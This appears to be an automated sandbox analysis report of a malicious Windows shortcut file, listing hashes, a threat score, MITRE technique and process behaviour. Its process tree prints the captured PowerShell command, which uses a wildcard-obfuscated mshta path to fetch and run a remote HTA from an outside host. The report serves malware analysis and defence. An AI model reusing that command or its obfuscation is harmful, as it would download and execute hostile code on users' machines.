4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22-12-2023 12:11

Target

4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
Size

523KB
MD5

199a9ff6c65f14f7ab95639c1c7106fd
SHA1

548873399f86d22f90118199fdc20e084c4c2258
SHA256

4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03
SHA512

e145b4d06e2c6ec3f82686c495eaab917f0525fbff85961247b6fe0be5cc773e6d86aa84da03df7f9a6a5f304bd37398e659b1676626489a2569abfb20970a31
SSDEEP

12:8hlKm/VnEXvk44X3ojsqzKtnWNt2eUcCsvXemCKeX5yXOlL6EWKDiNL4t2YlJZa:8hptnHYVKVWue/CWOmC7JLha5+

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 2560	2864	cmd.exe	29
PID 2864 wrote to memory of 2560	2864	cmd.exe	29
PID 2864 wrote to memory of 2560	2864	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://cw95649.tw1.ru/spHTA.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2560-38-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2560-41-0x0000000000350000-0x0000000000358000-memory.dmp

Filesize
32KB

Download
memory/2560-40-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/2560-39-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-43-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/2560-45-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/2560-44-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/2560-42-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-46-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download